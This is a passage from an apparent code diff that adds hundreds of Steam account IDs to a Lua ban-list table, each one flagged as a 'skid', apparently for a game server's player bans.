{Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19542184"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:52652129"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18123458"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18237716"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15413529"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20422965"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37890101"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26749073"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40900162"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17047137"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20455877"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28935122"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36004244"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43871763"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19039040"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18494481"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26497089"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35075395"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25350105"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6621383"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18340767"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7424517"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18698032"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40807732"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41795896"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14552400"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37672220"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33397949"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19774349"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17942122"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42332871"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29923826"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11224572"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5332013"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5975775"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11991248"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19430923"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41182031"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19908190"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41009838"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12178926"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11398447"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21005235"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33145232"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39749226"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:44003455"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13414338"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18909433"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16999019"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15294162"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35803107"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33712568"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19777056"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14601084"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17605864"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19411429"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9184559"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:474513031"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22655838"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48402101"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18329169"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20472448"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35078510"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26185939"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5096659"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20960575"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14681779"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41821978"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20046039"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35481873"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6016470"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13800802"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11097472"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:4282767"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20465650"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30430914"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20076120"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20515052"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22296701"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20413794"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42468726"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22565197"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17070510"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9566359"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19989862"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41449104"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19359413"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39172285"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28784002"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29757250"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22072344"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:50300534"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:1447684"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20985802"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20800905"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32232529"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:36240383"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22857142"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:8764977"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39893543"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29692115"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38664148"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:375185"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:8424048"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21844880"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21522992"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15640040"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25569676"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43945"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14600883"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33550426"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23226399"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28402212"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29755227"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26672860"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10434036"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11884768"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27872779"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18360894"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25792543"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15138372"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35380751"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13579829"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28786332"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10667328"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28501625"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42188210"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40172981"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36744172"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18510871"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21068786"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31762271"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16663555"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38260177"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40821588"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33512177"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17618601"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18470571"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24877104"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19228490"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40975390"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18740063"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22602824"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16749420"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39026637"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25902788"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32229457"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40307738"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13829703"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5168067"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28814835"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22972079"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19540362"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26902877"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27517358"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7461655"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17489944"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20228978"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5279834"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20756870"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24725178"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15036495"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24857306"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:451076"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32976363"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22514809"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41912255"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19375328"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18589283"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19787006"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19660907"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23381236"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28374287"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27275974"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:551299"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7265540"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31453949"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29985089"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35169940"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29201203"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:2178542"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:45591543"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34037304"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26005267"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26425450"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12543746"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3834778"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25647579"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3307510"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22603175"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22218417"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25004966"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25813064"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32101466"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17869291"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19054126"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33172669"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9848820"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19784590"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30863254"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25352929"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18174875"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19808069"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31778466"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29731994"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17434439"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10062345"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31250000"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25749661"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30864469"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24345782"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13790646"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20065604"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13447259"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30867247"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20034074"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34037139"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19956375"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22136235"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25436777"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16581100"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27283327"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17852480"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15206661"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20007973"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18877713"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29306433"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26710083"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12101360"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33968303"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30613840"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18969955"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30438256"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40169497"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25601847"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29947684"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20940543"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18927692"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18616854"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27817036"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22895461"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27182543"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3773275"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17801422"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27731643"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6010615"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18916223"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34399836"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18020403"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20353407"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17353490"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:50547833"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:45593469"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19717088"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21973264"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8594974"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13251708"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42397636"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29884665"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41340365"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30470013"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29884021"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38138183"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38272819"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16494696"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18965980"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20562969"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5151406"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27060929"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16399037"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11651466"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16770723"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28673568"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28898129"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10273783"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33800787"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29228925"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25470222"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6203775"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16705535"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31811900"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24294040"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3088660"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29016340"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29803069"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22442204"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43311176"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20931769"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20692197"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26924978"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22360925"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33369342"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35656128"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24312534"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26393252"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5953934"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:49380316"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30071536"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19694319"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20730820"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30449593"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:45591282"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24019822"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26280658"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23772540"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32987798"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7969309"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20767431"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20703300"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32697825"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11528790"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27313124"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24244615"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34735746"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:52809212"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5220876"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12956620"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26675976"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28801124"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36797892"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:1473373"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17989019"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17651148"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16650344"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28672988"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32072020"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14736388"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12854354"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27056420"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35705026"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22756211"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7257048"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18095243"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26424610"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6012327"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6150995"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20180045"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10896304"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6857780"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34205427"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13374194"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28425458"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17921660"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18620790"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10814808"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14593437"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16300432"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29971150"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19006518"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33846251"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24382438"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7394966"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5277228"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21939567"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30150218"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12468561"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31558699"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16985414"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20746739"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20866607"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27337698"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37647485"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22093860"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38252989"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22188426"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41178252"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23568682"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26394266"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:50206546"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10301884"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21659618"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17784269"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20218292"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16526027"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33536987"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33024462"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22540975"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15504057"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39078922"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29172448"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18485271"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27077502"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7645208"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26511192"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26079154"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32768248"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42836926"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18650605"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21552041"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17546716"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26572459"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13995445"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27283126"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33539139"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33792344"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24381198"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19120347"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41478321"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27255523"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26259179"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40052094"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8792588"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5349405"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24283039"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:47548155"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11691408"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32570393"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24496053"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26012662"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20515109"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43604243"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23437449"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34006002"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24492973"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26172141"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24714892"] = {Name = "banlist: ", Skid = true}, + 